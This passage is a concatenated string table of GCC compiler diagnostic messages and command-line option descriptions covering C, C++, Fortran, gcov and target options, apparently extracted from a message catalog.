support redirect_edge_and_branch_force%s does not support split_block%s does not support split_edge%s does not support the %<%%%c%> %s format%s does not support the %<%%%s%c%> %s format%s does not support the %qs %s length modifier%s expects an integer literal in the range [%d, %d].%s expects an integer literal in the range [%d, %d]. (%s expression list treated as compound expression%s for %<operator%s%> in %<%E %s %E%>%s for %<operator%s%> in %<%E%s%>%s for %<operator%s%> in %<%s%E%>%s for %<operator[]%> in %<%E[%E]%>%s for %qs in %<%s %E%>%s for ternary %<operator?:%> in %<%E ? %E : %E%>%s has no effect%s ignored with %s and %<%%%c%> %s format%s ignored with %s in %s format%s in format string at %L%s is a reference, not call, to function %qE%s is not INTRINSIC procedure name at %C%s is not supported by this configuration%s might be a candidate for a format attribute%s of function %qD%s of read-only location %qE%s of read-only named return value %qD%s of read-only parameter %qD%s of read-only reference %qD%s only accepts %d arguments%s only accepts 1 argument%s only accepts 2 arguments%s only available with -std=c++0x or -std=gnu++0x%s procedure at %L is already declared as %s procedure%s returned %d exit status%s should have type %<%T%s%>, but argument %d has type %qT%s should have type %<%s%s%>, but argument %d has type %qT%s specifier in %s statement at %C has invalid value '%s'%s statement at %C cannot follow %s statement at %L%s statement at %C cannot terminate a non-block DO loop%s statement at %C follows another accessibility specification%s statement at %C is not within a loop%s statement at %C is not within loop '%s'%s statement at %C leaving OpenMP structured block%s statement expected at %L%s statement must appear in a MODULE%s statement not allowed in PURE procedure at %C%s tag at %L must be of type %s%s tag at %L must be scalar%s terminated with signal %d [%s]%s%s used with %<%%%c%> %s format%s variable %qs is private in outer context%s%s%s %sversion %s (%s)
%s	compiled by GNU C version %s, %s%s%s %sversion %s (%s) compiled by CC, %s%sGGC heuristics: --param ggc-min-expand=%d --param ggc-min-heapsize=%d
%s%swarning: %s header version %s differs from library version %s.
%s-%s is an empty range%s: %d basic blocks and %d edges/basic block%s: %d basic blocks and %d registers%s: %d: '%s' used but missing from SYSCALLS
%s: %d: warning: '%s' excluded by preprocessing
%s: %d: warning: definition of %s not converted
%s: %d: warning: found '%s' but expected '%s'
%s: %d: warning: no extern definition for '%s'
%s: %d: warning: source too confusing
%s: %d: warning: varargs function declaration not converted
%s: %s%s: %s compiler not installed on this system%s: %s exited with status %d
%s: %s: can't get status: %s
%s: '%s' not converted
%s: --param arguments should be of the form NAME=VALUE%s: At least one operand can't be handled%s: Cannot open output file: %s
%s: Failed to close output file %s
%s: Fourth source operand is not a constant%s: PCH file was invalid%s: Second source operand is not a constant%s: Third source operand is not a constant%s: attempt to rename spec '%s' to already defined spec '%s'%s: can't change mode of file '%s': %s
%s: can't create/open clean file '%s': %s
%s: can't create/open output file '%s': %s
%s: can't delete aux info file '%s': %s
%s: can't delete file '%s': %s
%s: can't get status for file '%s': %s
%s: can't get status of aux info file '%s': %s
%s: can't link file '%s' to '%s': %s
%s: can't open aux info file '%s' for reading: %s
%s: can't open file '%s' for reading: %s
%s: can't read aux info file '%s': %s
%s: cannot get working directory: %s
%s: cannot open as COFF file%s: compiling '%s'
%s: conflict list for '%s' follows:
%s: conflicting extern definitions of '%s'
%s: converting file '%s'
%s: couldn%'t open PCH file: %m%s: declaration of function '%s' not converted
%s: declarations of '%s' will not be converted
%s: definition of function '%s' not converted
%s: error closing aux info file '%s': %s
%s: error reading aux info file '%s': %s
%s: error writing file '%s': %s
%s: found definition of '%s' at %s(%d)
%s: function definition not converted
%s: global declarations for file '%s' not inserted
%s: input file names must have .c suffixes: %s
%s: invalid file name: %s
%s: linker input file unused because linking not done%s: local declaration for function '%s' not inserted
%s: multiple static defs of '%s' in file '%s'
%s: not a COFF file%s: subprocess got fatal signal %d
%s: usage '%s [ -VqfnkN ] [ -i <istring> ] [ filename ... ]'
%s: usage '%s [ -VqfnkNlgC ] [ -B <dirname> ] [ filename ... ]'
%s: wait: %s
%s: warning: can't rename file '%s' to '%s': %s
%s: warning: file '%s' already saved in '%s'
%s: warning: missing SYSCALLS file '%s'
%s: warning: no read access for file '%s'
%s: warning: no static definition for '%s' in file '%s'
%s: warning: no write access for dir containing '%s'
%s: warning: no write access for file '%s'
%s: warning: too many parameter lists in declaration of '%s'
%s: warning: using formals list from %s(%d) for function '%s'
%s: would convert file '%s'
%s:%d: Illegal preprocessor directive%s:%d: confused by earlier errors, bailing out
%s:%d: declaration of function '%s' takes different forms
%s:%d: file %s left but not entered%s:'%s' has arcs from exit block
%s:'%s' has arcs to entry block
%s:'%s' lacks entry and/or exit blocks
%s:already seen blocks for '%s'
%s:cannot open data file, assuming not executed
%s:cannot open graph file
%s:cannot open source file
%s:corrupted
%s:could not open output file '%s'
%s:creating '%s'
%s:error writing output file '%s'
%s:graph is unsolvable for '%s'
%s:no functions found
%s:no lines for '%s'
%s:not a gcov data file
%s:not a gcov graph file
%s:overflowed
%s:profile mismatch for '%s'
%s:source file is newer than graph file '%s'
%s:stamp mismatch with graph file
%s:unknown function '%u'
%s:version '%.4s', prefer '%.4s'
%s:version '%.4s', prefer version '%.4s'
%salign-functions%s is obsolete, use -falign-functions%s%salign-jumps%s is obsolete, use -falign-jumps%s%salign-loops%s is obsolete, use -falign-loops%s%salign-loops=%d%s is not between 0 and %d%sbranch-cost=%d%s is not between 0 and 5%slarge-data-threshold=%d%s is negative%spreferred-stack-boundary=%d%s is not between %d and 12%sregparm%s is ignored in 64-bit mode%sregparm=%d%s is not between 0 and %d%srtd%s is ignored in 64bit mode%ssseregparm%s used without SSE enabled%stune=x86-64%s is deprecated.  Use %stune=k8%s or %stune=generic%s instead as appropriate.'' ' flag'!' flag'#' flag'%%%c' is not a valid operand prefix'%%l' operand isn't a label'%s' already defined as specific binding for the generic '%s' at %C'%s' and '%s' arguments of '%s' intrinsic at %L must have the same type'%s' and '%s' can't be mixed FUNCTION/SUBROUTINE for GENERIC '%s' at %L'%s' and '%s' for GENERIC '%s' at %L are ambiguous'%s' argument of '%s' intrinsic at %L cannot be INTENT(IN)'%s' argument of '%s' intrinsic at %L must be %s'%s' argument of '%s' intrinsic at %L must be ALLOCATABLE'%s' argument of '%s' intrinsic at %L must be INTEGER or LOGICAL'%s' argument of '%s' intrinsic at %L must be INTEGER or PROCEDURE'%s' argument of '%s' intrinsic at %L must be INTEGER or REAL'%s' argument of '%s' intrinsic at %L must be REAL or COMPLEX'%s' argument of '%s' intrinsic at %L must be a POINTER'%s' argument of '%s' intrinsic at %L must be a POINTER or a TARGET'%s' argument of '%s' intrinsic at %L must be a constant'%s' argument of '%s' intrinsic at %L must be a logical array'%s' argument of '%s' intrinsic at %L must be a non-derived type'%s' argument of '%s' intrinsic at %L must be a numeric type'%s' argument of '%s' intrinsic at %L must be a pointer or target VARIABLE or FUNCTION'%s' argument of '%s' intrinsic at %L must be a scalar'%s' argument of '%s' intrinsic at %L must be a variable'%s' argument of '%s' intrinsic at %L must be an array'%s' argument of '%s' intrinsic at %L must be default real'%s' argument of '%s' intrinsic at %L must be double precision'%s' argument of '%s' intrinsic at %L must be less than rank %d'%s' argument of '%s' intrinsic at %L must be numeric or LOGICAL'%s' argument of '%s' intrinsic at %L must be of a dummy variable'%s' argument of '%s' intrinsic at %L must be of a kind not wider than the default kind (%d)'%s' argument of '%s' intrinsic at %L must be of an OPTIONAL dummy variable'%s' argument of '%s' intrinsic at %L must be of kind %d'%s' argument of '%s' intrinsic at %L must be of rank %d'%s' argument of '%s' intrinsic at %L must be of rank 1 or 2'%s' argument of '%s' intrinsic at %L must be of type REAL or COMPLEX'%s' argument of '%s' intrinsic at %L must be the same kind as '%s''%s' argument of '%s' intrinsic at %L must be the same type and kind as '%s''%s' argument of '%s' intrinsic at %L must not be OPTIONAL'%s' argument of '%s' intrinsic at %L must not be a subobject of '%s''%s' argument of '%s' intrinsic at %L must not be present if 'x' is COMPLEX'%s' at %C is already defined as FINAL procedure!'%s' at %C is not a member of the '%s' structure'%s' at %C is not a variable'%s' at %C is the name of a recursive function and so refers to the result variable. Use an explicit RESULT variable for direct recursion (12.5.2.1)'%s' at %L already is initialized at %L'%s' at %L and the overridden FUNCTION should have matching result types'%s' at %L cannot have the VALUE attribute because it is not a dummy argument'%s' at %L has a type, which is not consistent with the CALL at %L'%s' at %L has attributes specified outside its INTERFACE body'%s' at %L is ambiguous'%s' at %L is an array and OPTIONAL; IF IT IS MISSING, it cannot be the actual argument of an ELEMENTAL procedure unless there is a non-optional argument with the same rank (12.4.1.5)'%s' at %L is not a VALUE'%s' at %L is not a function'%s' at %L is not a module procedure'%s' at %L is of the ABSTRACT type '%s''%s' at %L must have constant character length in this context'%s' at %L must have the same number of formal arguments as the overridden procedure'%s' at %L overrides a FUNCTION and must also be a FUNCTION'%s' at %L overrides a NOPASS binding and must also be NOPASS'%s' at %L overrides a PUBLIC procedure and must not be PRIVATE'%s' at %L overrides a PURE procedure and must also be PURE'%s' at %L overrides a SUBROUTINE and must also be a SUBROUTINE'%s' at %L overrides a binding with PASS and must also be PASS'%s' at %L overrides a non-ELEMENTAL procedure and must not be ELEMENTAL, either'%s' at %L overrides a procedure binding declared NON_OVERRIDABLE'%s' at %L overrides an ELEMENTAL procedure and must also be ELEMENTAL'%s' at %L should be a FUNCTION'%s' at %L should be a SUBROUTINE'%s' cannot be extended at %C because it is BIND(C)'%s' cannot be extended at %C because it is a SEQUENCE type'%s' declared INTRINSIC at %L does not exist'%s' declared at %L is also the name of an intrinsic.  It can only be called via an explicit interface or if declared EXTERNAL.'%s' declared at %L may shadow the intrinsic of the same name.  In order to call the intrinsic, explicit INTRINSIC declarations may be required.'%s' in EXTENDS expression at %C is not a derived type'%s' in the pointer assignment at %L cannot be an l-value since it is a procedure'%s' is already IMPORTed from host scoping unit at %C.'%s' is not a valid class name'%s' must be a module procedure or an external procedure with an explicit interface at %L'%s' must not appear in the array specification at %L in the same ALLOCATE statement where it is itself allocated'%s' of '%s' is PRIVATE at %C'%s' was assigned to '%s', but was not defined during recompilation, or vice versa'&' not allowed by itself in line %d''' flag'(' flag'+' flag'-%c' must come at the start of the command line'-%c' option must have argument'-' flag'-fd-lines-as-code' has no effect in free form'-fd-lines-as-comments' has no effect in free form'0' flag'::' needed in PROCEDURE binding with explicit target at %C'B' operand has multiple bits set'B' operand is not constant'E' modifier'I' flag'MOLD' argument of 'TRANSFER' intrinsic at %L must not be %s'O' modifier'^' flag'_' flag'a%d' argument of '%s' intrinsic at %L must be %s(%d)'a' flag'a1' argument of '%s' intrinsic at %L must be INTEGER, REAL or CHARACTER'dim' argument of %s intrinsic at %L is not a valid dimension index'dim' argument of '%s' intrinsic at %L is not a valid dimension index'm' flag'o' operand is not constant'q' flag'shape' argument of 'reshape' intrinsic at %L has more than %d elements'shape' argument of 'reshape' intrinsic at %L must be an array of constant size'source' argument of 'shape' intrinsic at %L must not be an assumed size array(C)(Messages without a matching method signature(a pointer to member can only be formed with %<&%E%>)(an out of class initialization is required)(if this is not what you intended, make sure the function template has already been declared and add <> after the function name here) (if you use %<-fpermissive%> G++ will accept your code)(if you use %<-fpermissive%>, G++ will accept your code, but allowing the use of an undeclared name is deprecated)(near initialization for %qs)(perhaps %<typename %T::%E%> was intended)(perhaps a semicolon is missing after the definition of %qT)(perhaps the %<offsetof%> macro was used incorrectly)(so you should pass %qT not %qT to %<va_arg%>)(the message is only displayed one per source file)
--param inline-unit-growth limit reached--param large-function-growth limit reached--param large-stack-frame-growth limit reached--param max-inline-insns-auto limit reached--param max-inline-insns-single limit reached--resource requires -o-E or -x required when input is from standard input-I- specified twice-MG may only be used with -M or -MM-Werror=%s: No option -%s-Wformat-contains-nul ignored without -Wformat-Wformat-extra-args ignored without -Wformat-Wformat-nonliteral ignored without -Wformat-Wformat-security ignored without -Wformat-Wformat-y2k ignored without -Wformat-Wformat-zero-length ignored without -Wformat-Wframe-larger-than=<number> Warn if a function's stack frame requires more than <number> bytes-Xbind-now and -Xbind-lazy are incompatible-bundle not allowed with -dynamiclib-bundle_loader not allowed with -dynamiclib-c or -S required for Ada-client_name not allowed with -dynamiclib-current_version only allowed with -dynamiclib-f%s and -msdata=%s are incompatible-f%s ignored for 68HC11/68HC12 (not supported)-f%s ignored for Unicos/Mk (not supported)-f%s ignored for target (all code is position independent)-f%s is not supported with CONST16 instructions-f%s not supported: ignored-f%sleading-underscore not supported on this target machine-fPIC and -G are incompatible-fPIC and -fpic are not supported for this target-fPIC and -fpic are not supported in this configuration-fPIC and -mcall-%s are incompatible-falign-labels=%d is not supported-falign-loops=%d is not supported-fassociative-math disabled; other options take precedence-fblas-matmul-limit=<n>        Size of the smallest matrix for which matmul will use BLAS-fdata-sections not supported for this target-fdbg-cnt=%s-fdbg-cnt=<counter>:<limit>[,<counter>:<limit>,...]    Set the debug counter limit.   -fdirectives-only is incompatible with -Wunused_macros-fdirectives-only is incompatible with -traditional-femit-class-file should used along with -fsyntax-only-ffunction-sections disabled; it makes profiling impossible-ffunction-sections not supported for this target-fhandle-exceptions has been renamed -fexceptions (and is now on by default)-findirect-dispatch is incompatible with -freduced-reflection-finit-character=<n> Initialize local character variables to ASCII value n-finit-integer=<n> Initialize local integer variables to n-finit-logical=<true|false> Initialize local logical variables-finit-real=<zero|nan|inf|-inf> Initialize local real variables-finstrument-functions-exclude-file-list=filename,...  Do not instrument functions listed in files-finstrument-functions-exclude-function-list=name,...  Do not instrument listed functions-fira-algorithm=CB does not work on this architecture-fira-algorithm=[CB|priority] Set the used IRA algorithm-fira-region=[one|all|mixed] Set regions for IRA-fira-verbose=<number> Control IRA's level of diagnostic messages.-fjni and -femit-class-file are incompatible-fjni and -femit-class-files are incompatible-fjni is incompatible with -freduced-reflection-fmax-array-constructor=<n>        Maximum number of objects in an array constructor-fno-gnu89-inline is only supported in GNU99 or C99 mode-force_flat_namespace not allowed with -dynamiclib-fpic and -mapcs-reent are incompatible-fprefetch-loop-arrays is not supported with -Os-fprefetch-loop-arrays not supported for this target-fprefetch-loop-arrays not supported for this target (try -march switches)-frecord-gcc-switches is not supported by the current target-freorder-blocks-and-partition does not support unwind info-freorder-blocks-and-partition does not work on this architecture-freorder-blocks-and-partition does not work with exceptions-frepo must be used with -c-fstack-protector not supported for this target-g is only supported when using GAS on this processor,-g option disabled-g with -mno-apcs-frame may not give sensible debugging-imultilib <dir> Set <dir> to be the multilib include subdirectory-install_name only allowed with -dynamiclib-keep_private_externs not allowed with -dynamiclib-m%s not supported in this configuration-m64 not supported in this configuration-m64 requires PowerPC64 architecture, enabling-m64 requires a PowerPC64 cpu-maix64 and POWER architecture are incompatible-maix64 required: 64-bit computation with 32-bit addressing not yet supported-maix64 requires PowerPC64 architecture remain enabled-malign-power is not supported for 64-bit Darwin; it is incompatible with the installed C and C++ libraries-mapcs-stack-check incompatible with -mno-apcs-frame-max-stackframe=%d is not usable, not between 0 and %d-mbackchain -mpacked-stack -mhard-float are not supported in combination-mbig-endian and -mlittle-endian may not be used together-mbnu210 is ignored (option is obsolete)-mcall-aixdesc must be big endian-mcmodel= is not supported on 32 bit systems-mcorea and -mcoreb can't be used together-mcorea should be used with -mmulticore-mcoreb should be used with -mmulticore-mcpu=%s conflicts with -march=%s-mcpu=%s has invalid silicon revision-mcpu=%s is not valid-mdynamic-no-pic overrides -fpic or -fPIC-mfloat-abi=hard and VFP-mglibc and -muclibc used together-mhard-dfp can't be used in conjunction with -msoft-float-mhard-float not supported-mieee not supported on Unicos/Mk-mieee-with-inexact not supported on Unicos/Mk-mincoming-stack-boundary=%d is not between %d and 12-mlong-double-64 not allowed with -m64-mmulticore can only be used with BF561-mmultiple is not supported on little endian systems-mn is used without -mh or -ms-mpcrel -fPIC is not currently supported on selected cpu-mpic-register= is useless without -fpic-mrelax is only supported for RTP PIC-mrelocatable and -mcall-%s are incompatible-mrelocatable and -mno-minimal-toc are incompatible-mrelocatable and -msdata=%s are incompatible-ms2600 is used without -ms-msdata=%s and -mcall-%s are incompatible-msecure-plt not supported by your assembler-mshared-library-id= specified without -mid-shared-library-mshared-library-id=%s is not between 0 and %d-msimple-fpu option ignored-msingle-float and -msoft-float cannot both be specified-msingle-float option equivalent to -mhard-float-msoft-float and -mhard_float may not be used together-mstack-guard implies use of -mstack-size-mstring is not supported on little endian systems-munix=98 option required for C89 Amendment 1 features.
-pg and -fomit-frame-pointer are incompatible-pipe not supported-private_bundle not allowed with -dynamiclib-static-libgfortran is not supported in this configuration.NOT. operator in expression at %L must have a LOGICAL operand128-bit long double not supported for VAX floats31 bit ABI387 instruction set disabled, using SSE arithmetics64 bit ABI64-bit ABI not supported in ESA/390 mode64-bit E500 not supported<During initialization>
<anonymous><built-in><command-line><constant pool index %d not in range><constant pool index %d unexpected type@catch parameter is not a known Objective-C class typeA factor for tuning the upper bound that swing modulo scheduler uses for scheduling a loopA synonym for -std=c89 (for C) or -std=c++98 (for C++)A threshold on the average loop count considered by the swing modulo schedulerABSTRACT INTERFACE '%s' must not be referenced at %LABSTRACT type '%s' used at %LACCESS specification at %L was already specifiedALLOCATABLE specified outside of INTERFACE body at %LALTERNATE RETURN not permitted at %LAPCS reentrant code not supported.  IgnoredASSERT_EXPR with an always-false conditionASSIGN statement at %L requires a scalar default INTEGER variableASSIGNED GOTO statement at %L requires an INTEGER variableASYNCHRONOUS= specifier at %L must be an initialization expressionAUX pointer initialized for edge %d->%dAVX vector argument without AVX enabled changes the ABIAbstract interface '%s' is invalid in procedure pointer assignment at %LAccept definition of macros in <file>Accept extensions to support legacy codeAccess data in the same section from shared anchor pointsAccess specification of the %s operator at %C has already been specifiedAccess specification of the .%s. operator at %C has already been specifiedActual argument at %L for INTENT(%s) dummy '%s' of ELEMENTAL subroutine '%s' is a scalar, but another actual argument is an arrayActual argument at %L is use-associated with PROTECTED attribute and dummy argument '%s' is INTENT = OUT/INOUTActual argument at %L must be definable as the dummy argument '%s' is INTENT = OUT/INOUTActual argument contains too few elements for dummy argument '%s' (%lu/%lu) at %LActual argument for '%s' cannot be an assumed-size array at %LActual argument for '%s' must be ALLOCATABLE at %LActual argument for '%s' must be a pointer at %LAdd <dir> to the end of the main framework include pathAdd <dir> to the end of the main include pathAdd <dir> to the end of the quote include pathAdd <dir> to the end of the system framework include pathAdd <dir> to the end of the system include pathAdd <dir> to the start of the system include pathAdd a MAKE-quoted targetAdd a common subexpression elimination pass after loop optimizationsAdd an unquoted targetAdd extra commentary to assembler outputAdd mudflap bounds-checking instrumentation for multi-threaded programAdd mudflap bounds-checking instrumentation for single-threaded programAdditional debug printsAggressive reduced debug info for structsAlias for --help=targetAlias for -femit-class-fileAlias for -mfloat-abi=hardAlias for -mfloat-abi=softAlign all labelsAlign all loops to 32 byte boundaryAlign code and data to 32 bitsAlign destination of the string operationsAlign doubles at 64-bit boundariesAlign labels which are only reached by jumpingAlign some doubles on dword boundaryAlign the start of functionsAlign the start of loopsAlign to the base type of the bit-fieldAlign variables on a 32-bit boundaryAll components of '%s' are PRIVATE in structure constructor at %CAll intrinsics procedures are available regardless of selected standardAllocatable '%s' at %L cannot have an initializerAllocatable array '%s' at %L must have a deferred shapeAllocatable component at %C must be an arrayAllocatable component of structure at %C must have a deferred shapeAllocatable variable '%s' used as a parameter to '%s' at %L must not be an array of zero sizeAllocate local variables on the stack to allow indirect recursionAllow a symbol value to be used as an immediate value in an instruction.Allow arbitrary character line width in fixed modeAllow arbitrary character line width in free modeAllow bit-fields to cross word boundariesAllow branches to be packed with other instructionsAllow dollar signs in entity namesAllow fast jumps to the message dispatcherAllow function addresses to be held in registersAllow hardware floating-point instructions to cover both 32-bit and 64-bit operationsAllow implicit conversions between vectors with differing numbers of subparts and/or differing element types.Allow loop optimizations to assume that the loops behave in normal wayAllow math optimizations that may violate IEEE or ISO standardsAllow optimization for floating-point arithmetic which may change theAllow premature scheduling of queued insnsAllow speculative motion of more loadsAllow speculative motion of non-loadsAllow speculative motion of some loadsAllow the arguments of the '?' operator to have different typesAllow the use of MDMX instructionsAllow the use of MT instructionsAllow the use of hardware floating-point ABI and instructionsAllow two instructions to be issued per cycleAlready inside a CONTAINS block at %CAlternate RETURN statement at %C is only allowed within a SUBROUTINEAlternate RETURN statement at %L requires a SCALAR-INTEGER return specifierAlternate calling conventionAlternate return cannot appear in operator interface at %LAlternate return specifier in elemental subroutine '%s' at %L is not allowedAlternate return specifier in function '%s' at %L is not allowedAlthough not referenced, '%s' at %L has ambiguous interfacesAltiVec and E500 instructions cannot coexistAltiVec argument passed to unprototyped functionAltiVec not supported in this targetAlways check for non gcj generated classes archivesAlways generate long callsAlways treat bitfields as int-sizedAlways use Dynamic Realigned Argument Pointer (DRAP) to realign stackAmbiguous interfaces '%s' and '%s' in %s at %LAmbiguous symbol in TYPE definition at %CAmend appropriate diagnostic messages with the command line option that controls themAn alternate return at %L without a * dummy argumentAn outer FORALL construct already has an index with this name %LAnnotate assembler instructions with estimated addressesAppend a second underscore if the name already contains an underscoreAppend underscores to externally visible namesApply negative sign to zero valuesApply variable expansion when loops are unrolledApproximate maximum number of instructions to allow between a hint and its branch [125]Argument '%s' is appears twice in call to '%s' at %LArgument '%s' of '%s' with PASS(%s) at %L must be of the derived-type '%s'Argument '%s' of elemental procedure at %L cannot have the POINTER attributeArgument '%s' of elemental procedure at %L must be scalarArgument '%s' of pure function '%s' at %L must be INTENT(IN)Argument '%s' of pure subroutine '%s' at %L must have its INTENT specifiedArgument '%s' of statement function at %L must be scalarArgument '%s' to '%s' at %L must be an associated scalar POINTERArgument NCOPIES of REPEAT intrinsic is negative at %LArgument NCOPIES of REPEAT intrinsic is too large at %LArgument dim at %L must be of INTEGER typeArgument dim at %L must be scalarArgument of %s at %L is not a valid typeArgument of %s at %L must be of length oneArgument of %s function at %L is negativeArgument of %s function at %L is too large for the collating sequence of kind %dArgument of %s function at %L outside of range [0,127]Argument of ACOS at %L must be between -1 and 1Argument of ACOSH at %L must not be less than 1Argument of ASIN at %L must be between -1 and 1Argument of ATANH at %L must be inside the range -1 to 1Argument of FINAL procedure at %L must be of type '%s'Argument of FINAL procedure at %L must not be ALLOCATABLEArgument of FINAL procedure at %L must not be INTENT(OUT)Argument of FINAL procedure at %L must not be OPTIONALArgument of FINAL procedure at %L must not be a POINTERArgument of IACHAR at %L must be of length oneArgument of IACHAR function at %L outside of range 0..127Argument of ICHAR at %L must be of length oneArgument of INT at %L is not a valid typeArgument of KIND at %L is a DERIVED typeArgument of LOG at %L cannot be less than or equal to zeroArgument of LOG10 at %L cannot be less than or equal to zeroArgument of SELECT statement at %L cannot be %sArgument of SELECT statement at %L must be a scalar expressionArgument of SQRT at %L has a negative valueArgument to '%s' at %L is not a variableArgument to -ffpe-trap is not valid: %sArgument types of '%s' intrinsic at %L must match (%s/%s)Arithmetic IF statement at %L requires a numeric expressionArithmetic NaN at %LArithmetic NaN converting %s to %s at %L. This check can be disabled with the option -fno-range-checkArithmetic NaN of bit-wise transferred BOZ at %L. This check can be disabled with the option -fno-range-checkArithmetic OK at %LArithmetic OK converting %s to %s at %LArithmetic overflow at %LArithmetic overflow converting %s to %s at %L. This check can be disabled with the option -fno-range-checkArithmetic overflow of bit-wise transferred BOZ at %L. This check can be disabled with the option -fno-range-checkArithmetic underflow at %LArithmetic underflow converting %s to %s at %L. This check can be disabled with the option -fno-range-checkArithmetic underflow of bit-wise transferred BOZ at %L. This check can be disabled with the option -fno-range-checkArray '%s' at %L cannot have a deferred shapeArray '%s' at %L is a variable, which does not reduce to a constant expressionArray '%s' at %L with non-constant bounds cannot be an EQUIVALENCE objectArray bound mismatchArray component of structure at %C must have an explicit shapeArray component of structure at %C must have explicit or deferred shapeArray element size too bigArray index at %L is an array of rank %dArray index at %L must be of INTEGER type, found %sArray index at %L must be scalarArray operands are incommensurate at %LArray operands are incommensurate converting %s to %s at %LArray pointer '%s' at %L must have a deferred shapeArray reference at %C cannot have more than %d dimensionsArray reference at %L is out of bounds (%ld < %ld) in dimension %dArray reference at %L is out of bounds (%ld > %ld) in dimension %dArray reference in EQUIVALENCE at %C cannot be an array sectionArray reference out of boundsArray section with a vector subscript at %L shall not be the target of a pointerArray specification at %C has more than %d dimensionsArray specification for symbol '%s' in COMMON at %C must be explicitArray specification must be deferred at %LArray specification required in ALLOCATE statement at %LArray-section actual argument at %L is incompatible with the non-assumed-shape dummy argument '%s' due to VOLATILE attributeArray-section actual argument with vector subscripts at %L is incompatible with INTENT(OUT), INTENT(INOUT) or VOLATILE attribute of the dummy argument '%s'Assembler options
=================

Assert the <answer> to <question>.  Putting '-' before <question> disables the <answer> to <question>Assigning to PROTECTED variable at %CAssigning value other than 0 or 1 to LOGICAL has undefined result at %LAssignment operator interface at %L must be a SUBROUTINEAssignment operator interface at %L must have two argumentsAssignment operator interface at %L must not redefine an INTRINSIC type assignmentAssignment to a FORALL index variable at %LAssume GASAssume ICPLBs are enabled at runtime.Assume a large TLS segmentAssume all symbols have 32-bit valuesAssume all variable arg functions are prototypedAssume arguments alias neither each other nor globalsAssume arguments alias no other storageAssume arguments may alias globals but not each otherAssume big endian bytes, little endian wordsAssume code will be assembled by GASAssume code will be linked by GNU ldAssume code will be linked by HP ldAssume floating-point operations can trapAssume incoming stack aligned to this power of 2Assume native functions are implemented using JNIAssume no NaNs or infinities are generatedAssume normal C execution environmentAssume possible double misalignmentAssume pt* instructions won't trapAssume signed arithmetic overflow wraps aroundAssume small address spaceAssume strict aliasing rules applyAssume symbols might be invalidAssume target CPU is configured as big endianAssume target CPU is configured as little endianAssume that floating-point stores and loads are not likely to cause conflict when placed into one instruction groupAssume that receivers of Objective-C messages may be nilAssume that run-time support has been provided, so omit -lsim from the linker command lineAssume that the source file is fixed formAssume that the source file is free formAssume the VxWorks RTP environmentAssume the VxWorks vThreads environmentAssume the runtime uses a hash table to map an object to its synchronization structureAssumed character length '%s' in namelist '%s' at %C is not allowedAssumed character length variable '%s' in constant expression at %LAssumed shape array '%s' at %L is not permitted in an initialization expressionAssumed shape array at %L must be a dummy argumentAssumed size array '%s' at %L is not permitted in an initialization expressionAssumed size array '%s' in %s clause at %LAssumed size array '%s' in COPYPRIVATE clause at %LAssumed size array '%s' in namelist '%s' at %C is not allowedAssumed size array at %L must be a dummy argumentAssumed-shape actual argument at %L is incompatible with the non-assumed-shape dummy argument '%s' due to VOLATILE attributeAssumed-shape array '%s' at %L cannot be an argument to the procedure '%s' at %L because the procedure is BIND(C)Assumed-shape array '%s' at %L cannot be an argument to the procedure '%s' because it is not C interoperableAt top level:Attempt to DEALLOCATE unallocated '%s'Attempt to allocate a negative amount of memory.Attempt to allocate negative amount of memory. Possible integer overflowAttempt to fill delay slots of branch instructionsAttempt to indirectly overlap COMMON blocks %s and %s by EQUIVALENCE at %CAttempt to keep stack aligned to this power of 2Attempt to merge identical constants across compilation unitsAttempt to merge identical constants and constant variablesAttempt to merge identical debug strings across compilation unitsAttempting to allocate already allocated array '%s'Attempting to allocate already allocatedarrayAttribute at %L is not allowed in a TYPE definitionAuto pre/post decrement increment allowedAuto pre/post decrement increment not allowedAutomatic array '%s' at %L cannot have an initializerAutomatic character length function '%s' at %L must have an explicit interfaceAutomatically align branch targets to reduce branch penaltiesAvoid all range limits on call instructionsAvoid generating pc-relative calls; use indirectionAvoid generation of indexed load/store instructions when possibleAvoid overlapping destination and address registers on LDRD instructionsAvoid speculative loads to work around a hardware anomaly.BB %i can not throw but has EH edgesBB %i last statement has incorrectly set regionBB_RTL flag not set for block %dBIND(C) applied to %s %s at %LBIND(C) attribute at %C requires an interface with BIND(C)BIND(C) attribute at %L can only be used for variables or common blocksBIND(C) procedure with NAME may not have POINTER attribute at %CBLOCK DATA element '%s' at %L must be in COMMONBOUNDARY argument at %L of EOSHIFT must have rank %d or be a scalarBOZ constant at %L is too large (%ld vs %ld bits)BOZ literal at %L is bitwise transferred non-integer symbol '%s'BYTE type used at %C is not available on the target machineBad INTENT specification at %CBad IO basetype (%d)Bad address, not (reg+disp):Bad address, not register:Bad allocate-object in ALLOCATE statement at %C for a PURE procedureBad array reference at %LBad array specification for an explicitly shaped array at %CBad array specification for assumed shape array at %CBad array specification in ALLOCATE statement at %LBad byte codes.
Bad character '%c' in OPERATOR name at %CBad continuation line at %CBad kind expression for function '%s' at %LBad kind for logical constant at %CBad nameBad operatorBad option %s to optimize attribute.Bad option %s to pragma attributeBad pointer object in PURE procedure at %LBad specification for assumed size array at %CBad specification for deferred shape array at %CBad target in pointer assignment in PURE procedure at %LBad type in constant expressionBinding at %C must have the same access as already defined binding '%s'Binding attributes already specify passing, illegal NOPASS at %CBinding attributes already specify passing, illegal PASS at %CBinding label '%s' at %L collides with global entity '%s' at %LBinding label '%s' at %L collides with the global entity '%s' at %LBinding label '%s' for common block '%s' at %L collides with global entity '%s' at %LBinding label '%s' for common block '%s' at %L collides with the global entity '%s' at %LBinding label '%s' for common block '%s' at %L does not match the binding label '%s' for common block '%s' at %LBinding label '%s' in interface body at %L collides with the global entity '%s' at %LBlank BLOCK DATA at %C conflicts with prior BLOCK DATA at %LBlanket SAVE statement at %C follows previous SAVE statementBlock label is not appropriate for IF statement at %CBlock label not appropriate for arithmetic IF statement at %CBoard name [and memory region].Bound on number of candidates below that all candidates are considered in iv optimizationsBound on number of iv uses in loop optimized in iv optimizationsBound on number of runtime checks inserted by the vectorizer's loop versioning for alias checkBound on number of runtime checks inserted by the vectorizer's loop versioning for alignment checkBound on size of expressions used in the scalar evolutions analyzerBound on the cost of an expression to compute the number of iterationsBound on the number of equalities in Omega constraint systemsBound on the number of inequalities in Omega constraint systemsBound on the number of iterations the brute force # of iterations analysis algorithm evaluatesBound on the number of keys in Omega constraint systemsBound on the number of variables in Omega constraint systemsBound on the number of wild cards in Omega constraint systemsBound on the size of the hash table in Omega constraint systemsBranch at %L may result in an infinite loopBranches are this expensive (1-5, arbitrary units)Branches executed:%s of %d
